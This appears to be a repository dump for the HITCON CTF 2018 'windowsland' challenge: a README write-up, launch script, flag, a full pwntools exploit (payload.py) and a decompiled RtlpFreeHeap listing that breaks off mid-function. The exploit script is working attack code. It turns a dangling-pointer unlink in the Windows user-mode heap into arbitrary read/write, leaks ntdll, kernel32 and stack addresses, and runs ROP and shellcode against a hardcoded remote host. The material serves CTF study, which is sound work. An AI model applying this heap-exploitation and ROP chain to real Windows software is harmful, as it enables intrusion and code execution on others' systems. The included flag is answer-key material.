├── README.md ├── bin ├── AppJailLauncher.exe ├── flag.txt ├── start.bat ├── windowsland.exe └── windowsland.pdb ├── payload.py ├── rtlpfreeheap.cpp ├── src └── windowsland │ ├── main.cpp │ ├── windowsland.sln │ ├── windowsland.vcxproj │ ├── windowsland.vcxproj.filters │ └── windowsland.vcxproj.user ├── unlink_chunk.cpp └── windowsland-d3e65ef1fd3d6a0a452a75b7d5c85212.rar /README.md: -------------------------------------------------------------------------------- 1 | Here is the source and writeup for the challenge "windowsland" in HITCON CTF 2018 2 | 3 | the idea is exploiting safe-unlink with dangling pointer in windows user-mode heap 4 | 5 | if anyone want to go through the technique directly, please see `unlink_chunk.cpp` 6 | 7 | # Vulnerability 8 | --- 9 | ### bug1: leak 10 | All of the string input did not terminate with NULL-byte during copy, such as `human->name`, `teacher->subject`, `engineer->language`, `doctor->hospital`, `athlete->sport` 11 | ### bug2: dangling pointer 12 | When we edit engineer and input empty language, it will `free(engineer->language)`. 13 | 14 | However, it did not clean and left the dangling pointer.This lead to double-free and UAF (re-editable) 15 | 16 | # Exploitation 17 | --- 18 | the following exploit assumption is under LFH-disabled. 19 | 20 | the challengable part is bug2. there are two restriction for `engineer->language` buffer 21 | 22 | - `language = malloc(0x200+RANDOM&0xF0)` 23 | - `memcpy(language, input, 0x18)` 24 | 25 | These make the UAF becomes so hard to overlap/overwrite other structures percisely and reliably 26 | 27 | obviously, you still can overwrite the flink/blink(ie. small chunk fd/bk on ptmalloc) of the freed `engineer->language` 28 | 29 | is it possible to do the similar old trick under modern windows user-mode heap ? 30 | 31 | `unlink_chunk.cpp` demostrates one of the possibility 32 | 33 | ### leak 34 | In order to achieve the reliable exploit, some heap grooming is neceaary at the beginning 35 | 36 | There are two candidates, `vector` for each type of human and `engineer->language` 37 | 38 | `vector` is chosen due to its deterministic size 39 | 40 | finally, `human->name` is used to leak the old blink, which points to `vector` 41 | 42 | ### unlink 43 | We compute the address of the danling pointer from the leaked `vecotr` address 44 | 45 | Then, we can trigger the unlink. 46 | 47 | `engineer->language = &engineer->language` 48 | 49 | Now, we got arbitrary read/write 50 | 51 | The remaining step is familiar, leak stack, ROP, read flag, ... 52 | 53 | # Note 54 | --- 55 | All detail is explained in `payload.py` 56 | 57 | The success rate for the exploit is around 50%, some unreliable is from `engineer->language` random size 58 | 59 | The registry, `MaxLoaderThreads`, is used to disable the windows 10 parallel loading feature, which makes the heap non-deterministic 60 | 61 | There should be more than one solution, if yes please share :) 62 | 63 | -------------------------------------------------------------------------------- /bin/AppJailLauncher.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wmliang/windowsland/dcfc20bab82f5edfb90d2666edafbcde055f64d0/bin/AppJailLauncher.exe -------------------------------------------------------------------------------- /bin/flag.txt: -------------------------------------------------------------------------------- 1 | hitcon{d1d_u_n0t1c3_s0m3_str4ng3_1n_unl1nk} -------------------------------------------------------------------------------- /bin/start.bat: -------------------------------------------------------------------------------- 1 | reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\windowsland.exe" /v MaxLoaderThreads /t REG_DWORD /d 1 2 | AppJailLauncher.exe windowsland.exe /timeout:12000000 /key:flag.txt /port:6677 -------------------------------------------------------------------------------- /bin/windowsland.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wmliang/windowsland/dcfc20bab82f5edfb90d2666edafbcde055f64d0/bin/windowsland.exe -------------------------------------------------------------------------------- /bin/windowsland.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wmliang/windowsland/dcfc20bab82f5edfb90d2666edafbcde055f64d0/bin/windowsland.pdb -------------------------------------------------------------------------------- /payload.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | #-*- coding: utf-8 -*- 3 | 4 | from pwn import * 5 | import sys 6 | import re 7 | 8 | #context.log_level = 'debug' 9 | context.arch = 'amd64' 10 | # remote environment is on AWS windows server 2016 14393 updated 11 | r = remote('13.231.142.96', 6677) 12 | 13 | human_kind = {'teacher':1, 'engineer':2, 'doctor':3, 'athlete':4, 'pig':5} 14 | def create(age, name, kind, *args): 15 | r.sendlineafter('>>', 'create') 16 | r.sendline(str(age)) 17 | r.sendline(name) 18 | r.sendline(str(human_kind[kind])) 19 | for i in args: 20 | r.sendline(i) 21 | 22 | def list_(): 23 | r.sendlineafter('>>', 'list') 24 | return r.recvuntil('Athlete') 25 | 26 | def leak(): 27 | buf = list_() 28 | blink = re.search('Engineer AAAAAAAA(.*)\(2\)', buf).group(1) 29 | blink = u64(blink.ljust(8, '\x00')) 30 | return blink 31 | 32 | def edit(kind, name, s): 33 | r.sendlineafter('>>', 'edit') 34 | r.sendline(str(human_kind[kind])) 35 | r.sendline(name) 36 | r.sendline(s) 37 | 38 | ## defragment freelist 39 | # it seems that size > 0x200 is `safe` (LFH-disabled) 40 | # ps. the vector size is expanded as [0x40,0x70,0xa0,0xd0,0x130,0x130,0x1c0*3,0x280*4,0x3a0,...,0x550,...] 41 | for i in range(10): 42 | create(1, '1', 'teacher', '1', 'subject') 43 | for i in range(10): 44 | create(1, '1', 'doctor', '1', 'hospital') 45 | for i in range(10): 46 | create(1, '1', 'athlete', '1', 'sport') 47 | for i in range(10): 48 | if i == 0: 49 | create(2, 'AAAAAAAA', 'engineer', '1', '1', '') # for leak 50 | else: 51 | create(2, 'A'+str(i), 'engineer', '1', '1', '') 52 | for i in range(7): # fill the freed vector 53 | create(1, '1', 'pig', '1', '1', '1') 54 | # current heap layout 55 | # 0000029ee4cc5750: 00810 . 00280 [101] - busy (270) # vector 56 | # 0000029ee4cc59d0: 00280 . 00280 [101] - busy (270) # vector 57 | # 0000029ee4cc5c50: 00280 . 00280 [101] - busy (270) # vector 58 | # 0000029ee4cc5ed0: 00280 . 010f0 [100] # end 59 | 60 | ## leak blink and locate vector 61 | for i in range(4+6): 62 | create(2, 'A'+str(i+10), 'engineer', '1', '1', '') 63 | # vecotr expand 2 times here 64 | # for first time 65 | # 0000029ee4cc5750: 00810 . 00280 [101] - busy (270) 66 | # 0000029ee4cc59d0: 00280 . 00280 [101] - busy (270) 67 | # 0000029ee4cc5c50: 00280 . 00280 [100] # freed old vector 68 | # 0000029ee4cc5ed0: 00280 . 003a0 [101] - busy (390) # allocated new vector 69 | # 0000029ee4cc6270: 003a0 . 00d50 [100] # blink = 0000029ee4cc5c60 70 | # since largest chunk blink points to second large 71 | # the freed old vector should be the second large due to the previous defragment 72 | # for second time 73 | # 0000029ee4cc5750: 00810 . 00280 [101] - busy (270) 74 | # 0000029ee4cc59d0: 00280 . 00280 [101] - busy (270) 75 | # 0000029ee4cc5c50: 00280 . 00620 [100] # freed old vector (0x280+0x3a0) 76 | # 0000029ee4cc6270: 00620 . 00550 [101] - busy (540) # allocated new vector 77 | # engineer->name is not NULL-byte terminated 78 | # it can leak the following uninitialize part, which is the previous blink (0000029ee4cc5c60) 79 | # 0000029ee4cc67c0: 00550 . 00800 [100] 80 | 81 | blink = leak() 82 | assert blink != 0, 'maybe address end with 0x00' 83 | vector = blink+0x620 84 | print 'vector @', hex(vector) 85 | 86 | ## prepare dangling pointer 87 | N = 10 88 | for i in range(1,N+1): 89 | edit('engineer', 'A'+str(i), 'BBBBBBBB') 90 | edit('engineer', 'A'+str(N-3), '') # A7 91 | edit('engineer', 'A'+str(N-1), '') # A9, it places in ListHints instead of A7 in order to prevent assertion in RtlpFreeHeap, explained in unlink_chunk.cpp 92 | dangling = vector+0x30*(N-3)+0x18 93 | print 'dangling @', hex(dangling) 94 | # current heap layout 95 | # 0000029ee4cc6ee0: 00260 . 00260 [101] - busy (250) # A6 96 | # 0000029ee4cc7140: 00260 . 00260 [100] # A7 97 | # 0000029ee4cc73a0: 00260 . 00260 [101] - busy (250) # A8 98 | # 0000029ee4cc7600: 00260 . 00260 [100] # A9 99 | # 0000029ee4cc7860: 00260 . 00260 [101] - busy (250) # A10 100 | # 0000029ee4cc7ac0: 00260 . 00500 [100] # end 101 | 102 | # overwrite A7 flink/blink 103 | edit('engineer', 'A'+str(N-3), p64(dangling-8)+p64(dangling)) 104 | # free A6 and trigger unlink 105 | edit('engineer', 'A'+str(N-4), '') # some un-reliable here 106 | # now, engineer->language = &engineer->language 107 | # it leads to arbitrary read(overwrite engineer->title)/write(overwrite engineer->language) 108 | # struct engineer { 109 | # +0 name 110 | # +0x10 age 111 | # +0x18 language 112 | # +0x20 title 113 | # +0x28 salary 114 | # }; 115 | 116 | def read(addr): 117 | d = p64(dangling)+p64(addr) 118 | assert '\x0a' not in d, 'orz' 119 | edit('engineer', 'A'+str(N-3), p64(dangling)+p64(addr)) 120 | buf = list_() 121 | return re.search('Engineer A'+str(N-3)+'\(2\) was promoted as (.*), his salary', buf).group(1) 122 | 123 | def read_len(addr, n): 124 | buf = '' 125 | while len(buf) < n: 126 | buf += read(addr+len(buf)) 127 | buf += '\x00' 128 | return buf[:n] 129 | 130 | # leak stack, some hardcode is from remote 131 | heap = vector&~0xFFFF 132 | for i in range(0x10): 133 | if read(heap+0x10)[:4] == '\xee\xff\xee\xff': 134 | break 135 | heap = heap-0x10000 136 | else: 137 | print 'heap not found' 138 | quit() 139 | print 'heap @', hex(heap) 140 | ntdll = u64(read_len(heap+0x2a0, 8))-0x150d50 # _HEAP_LOCK 141 | print 'ntdll @', hex(ntdll) 142 | peb = u64(read_len(ntdll+0x1512D8, 8))-0x240 143 | print 'peb @', hex(peb) 144 | image = u64(read_len(peb+0x10, 8)) 145 | print 'image @', hex(image) 146 | kernel32 = u64(read_len(image+0x6028, 8)) - 0x16630 # GetLastError 147 | print 'kernel32 @', hex(kernel32) 148 | kernelbase = u64(read_len(kernel32+0x75550, 8)) - 0x33bd0 # GetLastError 149 | print 'kernelbase @', hex(kernelbase) 150 | uef = u64(read_len(kernelbase+0x1EFC20, 8)) # BasepFilterInfo, credit to j00ru 151 | stack = u64(read_len(uef+0x1c0, 8)) 152 | print 'stack @', hex(stack) 153 | ucrtbase = u64(read_len(image+0x60e0, 8)) - 0x1080 # atoi 154 | print 'ucrtbase @', hex(ucrtbase) 155 | 156 | ret = stack 157 | for i in range(0x800/0x8): 158 | sys.stdout.write('.') 159 | if read(ret)[:2] == '\x88\x42': 160 | break 161 | ret = ret + 0x8 162 | else: 163 | print 'return address not found' 164 | quit() 165 | print '\nreturn address @', hex(ret) 166 | 167 | def write(addr, payload): 168 | assert '\n' not in p64(addr), 'orz' 169 | edit('engineer', 'A'+str(N-3), p64(addr)) 170 | assert '\n' not in payload, 'orz' 171 | edit('engineer', 'A'+str(N-3), payload) 172 | 173 | # overwrite return address 174 | pop_rsp = ntdll+0x11017 # pop rsp ; ret 175 | write(ret, flat(pop_rsp, ret-0x1a0)) 176 | 177 | # fix heap, credit to j00ru 178 | virtualprotect = kernel32+0x1bc20 179 | heapcreate = kernel32+0x1f490 180 | sleep = kernel32+0x16640 181 | _open = ucrtbase+0x6bf10 182 | _read = ucrtbase+0x56c0 183 | _write = ucrtbase+0x7850 184 | crt_heap = ucrtbase+0xe65c8 185 | p4_ret = ntdll+0x95ea0 # pop rdx ; pop rcx ; pop r8 ; pop r9 ; ret 186 | p2_ret = p4_ret+2 187 | flag_addr = ret+0x60-0x1a0 188 | d = flat( 189 | 0,p4_ret,0x1000,ret&~0xFFF,0x40,ret+8, 190 | virtualprotect, 191 | p4_ret,0,0,0,0, 192 | p2_ret,"flag.txt",0, 193 | ret+0x78-0x1a0 194 | ) 195 | sc = asm(''' 196 | sub rsp, 0x80 197 | 198 | heapcreate: 199 | xor rcx, rcx 200 | xor rdx, rdx 201 | xor r8, r8 202 | xor r9, r9 203 | mov cl, 2 204 | mov rax, {} 205 | call rax 206 | 207 | fix_heap: 208 | mov rbx, {} 209 | mov [rbx], rax 210 | 211 | open_file: 212 | mov rcx, {} 213 | mov rax, {} 214 | call rax 215 | 216 | read_file: 217 | mov rcx, rax 218 | mov rdx, {} 219 | mov rax, {} 220 | call rax 221 | 222 | write_file: 223 | mov r8, rax 224 | xor rcx, rcx 225 | inc rcx 226 | mov rdx, {} 227 | mov rax, {} 228 | call rax 229 | 230 | mov rax, {} 231 | call rax 232 | '''.format(heapcreate, crt_heap, flag_addr, _open, ret+8, _read, ret+8, _write, sleep)) 233 | d += sc 234 | r.sendline(d) 235 | print r.recvuntil('}') 236 | -------------------------------------------------------------------------------- /rtlpfreeheap.cpp: -------------------------------------------------------------------------------- 1 | __int64 __fastcall RtlpFreeHeap(_HEAP *heap, __int64 flags, _HEAP_ENTRY *header, signed __int64 mem) 2 | { 3 | _HEAP_ENTRY *v4; // r14 4 | _HEAP *v5; // rbx 5 | char v6; // r12 6 | int v8; // edi 7 | signed __int64 v9; // r8 8 | _DWORD *v10; // rcx 9 | _BYTE *v11; // rcx 10 | unsigned __int8 *v12; // rsi 11 | _HEAP_ENTRY *v13; // r15 12 | _HEAP_LOCK *v14; // rcx 13 | struct _TEB *v15; // rax 14 | signed __int8 v16; // cf 15 | void *v17; // rax 16 | unsigned int v18; // edx 17 | _HEAP_LIST_LOOKUP *v19; // rcx 18 | int v20; // edx 19 | char *v21; // r8 20 | char v22; // al 21 | $BC2C84EDD1A61D8001D9900647BA32E5 *v23; // rsi 22 | unsigned __int16 size; // ax 23 | unsigned __int16 *v25; // rdx 24 | unsigned int v26; // ecx 25 | __int64 v27; // rdx 26 | unsigned __int64 size1; // r8 27 | unsigned __int64 v29; // rcx 28 | _HEAP_ENTRY *prev; // r12 29 | int v31; // edx 30 | __int64 *v32; // r11 31 | __int64 **v33; // rax 32 | __int64 *v34; // rax 33 | _HEAP_LIST_LOOKUP *v35; // rdi 34 | unsigned __int64 v36; // r13 35 | unsigned __int64 v37; // rcx 36 | unsigned int v38; // ecx 37 | unsigned int v39; // esi 38 | __int64 v40; // rax 39 | _LIST_ENTRY **v41; // r8 40 | __int64 *v42; // r10 41 | unsigned int v43; // eax 42 | _LIST_ENTRY *v44; // r14 43 | _LIST_ENTRY *v45; // rdx 44 | int v46; // edx 45 | int v47; // er12 46 | __int64 *v48; // rax 47 | __int64 **v49; // rcx 48 | char v50; // al 49 | unsigned __int64 v51; // rdi 50 | _LIST_ENTRY *v52; // rdx 51 | __int64 v53; // rdx 52 | __int64 v54; // rcx 53 | _HEAP_ENTRY *next_; // r14 54 | int v56; // edx 55 | __int64 **v98; // r11 56 | __int64 v99; // r12 57 | __int64 *v100; // rax 58 | __int64 *v101; // rax 59 | _HEAP_LIST_LOOKUP *v102; // rdi 60 | unsigned __int64 v103; // r13 61 | unsigned __int64 v104; // rcx 62 | unsigned int v105; // ecx 63 | unsigned int v106; // esi 64 | __int64 v107; // rax 65 | __int64 **v108; // r10 66 | _LIST_ENTRY **v109; // r8 67 | __int64 **v110; // rax 68 | unsigned int v111; // edx 69 | __int64 *v112; // r14 70 | __int64 *v113; // rax 71 | int v114; // edx 72 | int v115; // er12 73 | __int64 *v116; // rax 74 | char v117; // al 75 | unsigned __int64 v118; // rdi 76 | _LIST_ENTRY *v119; // rdx 77 | __int64 v120; // rdx 78 | __int64 v121; // rcx 79 | unsigned int v122; // edi 80 | unsigned __int64 v123; // rdx 81 | _LIST_ENTRY *v124; // rax 82 | _HEAP_LIST_LOOKUP *v125; // r12 83 | unsigned __int64 v126; // rcx 84 | int v127; // er14 85 | __int64 v128; // r14 86 | _LIST_ENTRY *v129; // rsi 87 | _LIST_ENTRY *v130; // r13 88 | _LIST_ENTRY *v131; // rax 89 | int v132; // edx 90 | int v133; // edi 91 | int v134; // eax 92 | signed __int64 v135; // r8 93 | int v136; // edx 94 | int v137; // edi 95 | int v138; // eax 96 | _LIST_ENTRY *v139; // rdi 97 | __int64 v140; // rdi 98 | unsigned int *v141; // r8 99 | unsigned int v142; // edx 100 | int v143; // ecx 101 | __int64 v144; // rdi 102 | int v145; // ecx 103 | int v146; // eax 104 | _HEAP_ENTRY *v147; // r14 105 | _HEAP_ENTRY **v148; // rax 106 | _HEAP_LIST_LOOKUP *v149; // rdi 107 | __int64 *v150; // r12 108 | unsigned __int64 v151; // rcx 109 | unsigned int v152; // ecx 110 | unsigned int v153; // esi 111 | __int64 v154; // rax 112 | signed __int64 v155; // rdx 113 | _LIST_ENTRY *v156; // r13 114 | int v157; // ecx 115 | int v158; // er14 116 | unsigned __int64 v159; // rsi 117 | signed __int64 v160; // r8 118 | unsigned __int64 v161; // rdx 119 | _LIST_ENTRY *v162; // rdi 120 | _LIST_ENTRY *v163; // r8 121 | int v164; // ecx 122 | int v165; // eax 123 | _HEAP_ENTRY *v166; // rsi 124 | _HEAP_ENTRY **v167; // rax 125 | _HEAP_LIST_LOOKUP *v168; // rdx 126 | unsigned __int64 v169; // rdi 127 | int v170; // edx 128 | unsigned __int16 v171; // cx 129 | __int16 v172; // dx 130 | signed __int64 v173; // rdi 131 | signed __int64 v174; // r15 132 | __int64 v175; // rcx 133 | __int64 v176; // rax 134 | __int64 *v177; // rcx 135 | __int64 v178; // rdx 136 | __int64 v179; // r8 137 | __int64 v180; // rdx 138 | __int64 v181; // rdi 139 | _BYTE *v182; // rcx 140 | __int64 v183; // rcx 141 | _BYTE *v184; // rcx 142 | __int64 v185; // ST30_8 143 | unsigned __int8 *v186; // rdi 144 | _BYTE *v187; // rcx 145 | __int64 v188; // ST30_8 146 | unsigned int v189; // edx 147 | unsigned __int64 v190; // rcx 148 | _HEAP_LOCK *v191; // rdi 149 | bool v192; // zf 150 | signed __int32 v193; // ebx 151 | __int64 v194; // r8 152 | int v195; // edx 153 | signed __int32 v196; // eax 154 | __int64 *v197; // [rsp+20h] [rbp-1D8h] 155 | __int64 v198; // [rsp+28h] [rbp-1D0h] 156 | char v199; // [rsp+48h] [rbp-1B0h] 157 | char v200; // [rsp+49h] [rbp-1AFh] 158 | __int16 v201; // [rsp+4Ch] [rbp-1ACh] 159 | _HEAP_ENTRY *v202; // [rsp+50h] [rbp-1A8h] 160 | signed __int64 v203; // [rsp+50h] [rbp-1A8h] 161 | unsigned __int64 v204; // [rsp+50h] [rbp-1A8h] 162 | signed __int64 v205; // [rsp+50h] [rbp-1A8h] 163 | unsigned __int64 size2; // [rsp+58h] [rbp-1A0h] 164 | _HEAP_ENTRY *v207; // [rsp+60h] [rbp-198h] 165 | __int64 v208; // [rsp+68h] [rbp-190h] 166 | char v209; // [rsp+70h] [rbp-188h] 167 | __int16 v210; // [rsp+72h] [rbp-186h] 168 | __int16 v211; // [rsp+74h] [rbp-184h] 169 | __int64 *v212; // [rsp+78h] [rbp-180h] 170 | __int64 **v213; // [rsp+80h] [rbp-178h] 171 | unsigned int v214; // [rsp+88h] [rbp-170h] 172 | unsigned int v215; // [rsp+8Ch] [rbp-16Ch] 173 | unsigned int v216; // [rsp+90h] [rbp-168h] 174 | unsigned int v218; // [rsp+98h] [rbp-160h] 175 | unsigned __int64 v219; // [rsp+A0h] [rbp-158h] 176 | __int64 v220; // [rsp+A8h] [rbp-150h] 177 | unsigned __int64 v221; // [rsp+B0h] [rbp-148h] 178 | __int64 v222; // [rsp+B8h] [rbp-140h] 179 | unsigned int v223; // [rsp+C0h] [rbp-138h] 180 | unsigned int v224; // [rsp+C4h] [rbp-134h] 181 | __int64 v225; // [rsp+C8h] [rbp-130h] 182 | unsigned __int64 v226; // [rsp+D0h] [rbp-128h] 183 | _HEAP_ENTRY *v227; // [rsp+D8h] [rbp-120h] 184 | __int64 v230; // [rsp+F0h] [rbp-108h] 185 | unsigned __int64 v231; // [rsp+F8h] [rbp-100h] 186 | unsigned int *v232; // [rsp+100h] [rbp-F8h] 187 | __int64 v233; // [rsp+108h] [rbp-F0h] 188 | _HEAP_ENTRY *v234; // [rsp+110h] [rbp-E8h] 189 | __int64 v235; // [rsp+118h] [rbp-E0h] 190 | __int64 v236; // [rsp+120h] [rbp-D8h] 191 | struct _TEB *v237; // [rsp+128h] [rbp-D0h] 192 | unsigned __int64 v238; // [rsp+130h] [rbp-C8h] 193 | int v239; // [rsp+140h] [rbp-B8h] 194 | unsigned int v240; // [rsp+150h] [rbp-A8h] 195 | int v242; // [rsp+170h] [rbp-88h] 196 | int v243; // [rsp+180h] [rbp-78h] 197 | int v244; // [rsp+190h] [rbp-68h] 198 | unsigned int v245; // [rsp+1A0h] [rbp-58h] 199 | int v246; // [rsp+1B0h] [rbp-48h] 200 | unsigned int v247; // [rsp+1C0h] [rbp-38h] 201 | _HEAP_ENTRY *v248; // [rsp+210h] [rbp+18h] 202 | 203 | v248 = header; 204 | v4 = header; 205 | v5 = heap; 206 | v6 = 1; 207 | v200 = 1; 208 | v199 = 0; 209 | v215 = 1; 210 | v219 = 0i64; 211 | v201 = 0; 212 | if ( heap == (_HEAP *)header ) // mitigation, can not free _HEAP 213 | { 214 | RtlpLogHeapFailure(9i64, (__int64)heap); 215 | return 0i64; 216 | } 217 | v8 = heap->ForceFlags | flags; 218 | if ( v8 & 0x7D010F60 ) 219 | { 220 | v6 = 0; 221 | v200 = 0; 222 | v9 = 4i64; 223 | if ( v8 & 0x61000000 && !_bittest(&v8, 0x1Cu) ) 224 | return RtlDebugFreeHeap(heap); 225 | } 226 | else 227 | { 228 | v9 = 3i64; 229 | } 230 | v10 = NtCurrentPeb()->SharedData; 231 | if ( v10 && *v10 ) 232 | { 233 | v11 = (char *)NtCurrentPeb()->SharedData + 0x226; 234 | v12 = (unsigned __int8 *)0x7FFE0380; 235 | } 236 | else 237 | { 238 | v12 = (unsigned __int8 *)0x7FFE0380; 239 | v11 = (_BYTE *)0x7FFE0380; 240 | } 241 | if ( *v11 && NtCurrentPeb()->TracingFlags & 1 ) 242 | { 243 | v13 = v248; 244 | if ( !((v248->UnpackedEntry.Flags ^ (unsigned __int8)(v5->Encoding.UnpackedEntry.Flags & (v5->EncodeFlagMask >> 17))) & 8) ) 245 | RtlpLogHeapFreeEvent(v5, mem, v9); 246 | } 247 | else 248 | { 249 | v13 = v248; 250 | } 251 | if ( v8 & 1 ) // HEAP_NO_SERIALIZE 252 | { 253 | if ( v5->EncodeFlagMask ) 254 | { 255 | v20 = v13->UnpackedEntry.SubSegmentCode ^ v5->Encoding.UnpackedEntry.SubSegmentCode; 256 | v13->UnpackedEntry.SubSegmentCode = v20; 257 | if ( HIBYTE(v20) != ((unsigned __int8)v20 ^ (unsigned __int8)(BYTE1(v20) ^ BYTE2(v20))) ) 258 | RtlpAnalyzeHeapFailure((unsigned __int64)v5, (unsigned __int64)v13); 259 | } 260 | } 261 | else 262 | { 263 | v14 = v5->LockVariable; 264 | v15 = NtCurrentTeb(); 265 | v16 = _interlockedbittestandreset(&v14->Lock.CriticalSection.LockCount, 0); 266 | v17 = v15->ClientId.UniqueThread; 267 | if ( v16 ) 268 | { 269 | v14->Lock.CriticalSection.OwningThread = v17; 270 | v14->Lock.CriticalSection.RecursionCount = 1; 271 | ++v5->Counters.LockAcquires; 272 | } 273 | else if ( v14->Lock.CriticalSection.OwningThread == v17 ) 274 | { 275 | ++v14->Lock.CriticalSection.RecursionCount; 276 | ++v5->Counters.LockAcquires; 277 | } 278 | else 279 | { 280 | if ( byte_18015C3A8 ) 281 | { 282 | NtCurrentTeb()->LastStatusValue = 0xC0000194; 283 | v237 = NtCurrentTeb(); 284 | v237->LastErrorValue = RtlNtStatusToDosError(0xC0000194i64, flags); 285 | v215 = 0; 286 | LABEL_356: 287 | v122 = 256; 288 | goto LABEL_357; 289 | } 290 | RtlEnterCriticalSection(v5->LockVariable); 291 | RtlpUpdateHeapRates(v5, 1i64); 292 | } 293 | v199 = 1; 294 | v13 = v248; 295 | if ( v5->EncodeFlagMask ) 296 | { 297 | v18 = v248->UnpackedEntry.SubSegmentCode ^ v5->Encoding.UnpackedEntry.SubSegmentCode; 298 | v248->UnpackedEntry.SubSegmentCode = v18; 299 | if ( HIBYTE(v18) != ((unsigned __int8)v18 ^ (unsigned __int8)(BYTE1(v18) ^ BYTE2(v18))) ) 300 | RtlpAnalyzeHeapFailure((unsigned __int64)v5, (unsigned __int64)v248); 301 | } 302 | v19 = (_HEAP_LIST_LOOKUP *)v5->BlocksIndex; 303 | do 304 | { 305 | if ( v248->UnpackedEntry.Size < (unsigned __int64)v19->ArraySize ) 306 | break; 307 | v19 = v19->ExtendedLookup; 308 | } 309 | while ( v19 ); 310 | } 311 | v21 = &v13->UnpackedEntry.Flags; 312 | v22 = v13->UnpackedEntry.Flags; 313 | if ( v22 & 8 ) // HEAP_ENTRY_VIRTUAL_ALLOC 314 | *v21 = v22 & 0xF7; 315 | if ( v13->UnpackedEntry.UnusedBytes == 4 ) 316 | { 317 | v174 = (signed __int64)&v13[-3]; 318 | v208 = v174; 319 | v175 = *(_QWORD *)(v174 + 32); 320 | v222 = v175; 321 | v219 = v174 & 0xFFFFFFFFFFFF0000ui64; 322 | v5->Counters.TotalSizeInVirtualBlocks -= v175; 323 | v176 = *(_QWORD *)v174; 324 | v177 = *(__int64 **)(v174 + 8); 325 | v178 = *v177; 326 | if ( *v177 != *(_QWORD *)(*(_QWORD *)v174 + 8i64) || v178 != v174 ) 327 | { 328 | LODWORD(v197) = v178; 329 | RtlpLogHeapFailure(13i64, 0i64); 330 | } 331 | else 332 | { 333 | *v177 = v176; 334 | *(_QWORD *)(v176 + 8) = v177; 335 | } 336 | if ( !v6 ) 337 | { 338 | v224 = NtCurrentPeb()->NtGlobalFlag; 339 | v177 = (__int64 *)v224; 340 | if ( _bittest((const signed int *)&v177, 0xBu) ) 341 | { 342 | v179 = *(_QWORD *)(v174 + 32) >> 4; 343 | LODWORD(v197) = 3; 344 | v174 = v208; 345 | v180 = *(unsigned __int16 *)(v208 + 18); 346 | RtlpUpdateTagEntry((_DWORD)v5); 347 | } 348 | else 349 | { 350 | v174 = v208; 351 | } 352 | } 353 | if ( v199 ) 354 | { 355 | RtlLeaveCriticalSection(v5->LockVariable); 356 | v199 = 0; 357 | } 358 | v181 = *(_QWORD *)(v174 + 40); 359 | v236 = *(_QWORD *)(v174 + 40); 360 | if ( (unsigned int)RtlGetCurrentServiceSessionId(v177) ) 361 | { 362 | v182 = (char *)NtCurrentPeb()->SharedData + 558; 363 | LODWORD(v174) = v208; 364 | v181 = v236; 365 | } 366 | else 367 | { 368 | v182 = (_BYTE *)0x7FFE0388; 369 | } 370 | if ( *v182 ) 371 | RtlpHeapLogRangeRelease(v5, v219, v181); 372 | size2 = 0i64; 373 | RtlpSecMemFreeVirtualMemory(v182, &v219, &size2, 0x8000i64, (_DWORD)v197); 374 | if ( (unsigned int)RtlGetCurrentServiceSessionId(v183) ) 375 | { 376 | v184 = (char *)NtCurrentPeb()->SharedData + 550; 377 | LODWORD(v174) = v208; 378 | } 379 | else 380 | { 381 | v184 = (_BYTE *)0x7FFE0380; 382 | } 383 | if ( *v184 ) 384 | { 385 | if ( NtCurrentPeb()->TracingFlags & 1 ) 386 | { 387 | if ( (unsigned int)RtlGetCurrentServiceSessionId(v184) ) 388 | v12 = (unsigned __int8 *)NtCurrentPeb()->SharedData + 550; 389 | v185 = *v12; 390 | LODWORD(v174) = v208; 391 | RtlpLogHeapContractEvent((char)v5, v208, v222, 16 * v5->TotalFreeSize); 392 | } 393 | else 394 | { 395 | LODWORD(v174) = v208; 396 | } 397 | } 398 | v186 = (unsigned __int8 *)0x7FFE038A; 399 | if ( (unsigned int)RtlGetCurrentServiceSessionId(v184) ) 400 | { 401 | v187 = (char *)NtCurrentPeb()->SharedData + 560; 402 | LODWORD(v174) = v208; 403 | } 404 | else 405 | { 406 | v187 = (_BYTE *)0x7FFE038A; 407 | } 408 | if ( *v187 ) 409 | { 410 | if ( (unsigned int)RtlGetCurrentServiceSessionId(v187) ) 411 | { 412 | v186 = (unsigned __int8 *)NtCurrentPeb()->SharedData + 560; 413 | LODWORD(v174) = v208; 414 | } 415 | v188 = *v186; 416 | RtlpLogHeapContractEvent((char)v5, v174, v222, 16 * v5->TotalFreeSize); 417 | } 418 | goto LABEL_356; 419 | } 420 | v23 = ($BC2C84EDD1A61D8001D9900647BA32E5 *)&v13->Code1; 421 | size = v13->UnpackedEntry.Size; 422 | if ( size < v5->FrontEndHeapMaximumIndex ) // LFH counter decrement 423 | { 424 | if ( !((unsigned __int8)(1 << (size & 7)) & v5->FrontEndHeapStatusBitmap[(unsigned __int64)size >> 3]) ) 425 | { 426 | v25 = &v5->FrontEndHeapUsageData[LOWORD(v23->CompactHeader)]; 427 | if ( *v25 > 1u ) 428 | --*v25; 429 | } 430 | v13 = v248; 431 | } 432 | if ( !v6 ) 433 | { 434 | v223 = NtCurrentPeb()->NtGlobalFlag; 435 | v26 = v223; 436 | v13 = v248; 437 | if ( _bittest((const signed int *)&v26, 0xBu) ) 438 | { 439 | LODWORD(v197) = 2; 440 | if ( *v21 & 2 ) 441 | v27 = *((unsigned __int16 *)&v248[v4->UnpackedEntry.Size] - 7); 442 | else 443 | v209 = v248->UnpackedEntry.SmallTagIndex; 444 | v201 = RtlpUpdateTagEntry((_DWORD)v5); 445 | } 446 | } 447 | size1 = LOWORD(v23->CompactHeader); 448 | size2 = LOWORD(v23->CompactHeader); 449 | if ( SLOBYTE(v5->Flags) >= 0 ) // HEAP_DISABLE_COALESCE_ON_FREE 450 | { 451 | v227 = v13; 452 | v29 = 0x10 * (v13->UnpackedEntry.PreviousSize ^ (unsigned __int64)v5->Encoding.UnpackedEntry.PreviousSize); 453 | prev = &v13[v29 / 0xFFFFFFFFFFFFFFF0ui64]; 454 | v202 = &v13[v29 / 0xFFFFFFFFFFFFFFF0ui64]; 455 | if ( &v13[v29 / 0xFFFFFFFFFFFFFFF0ui64] == v13 456 | || (prev->UnpackedEntry.Flags ^ (unsigned __int8)(v5->Encoding.UnpackedEntry.Flags & (v5->EncodeFlagMask >> 20))) & 1 )// determine prev is the first block or busy block 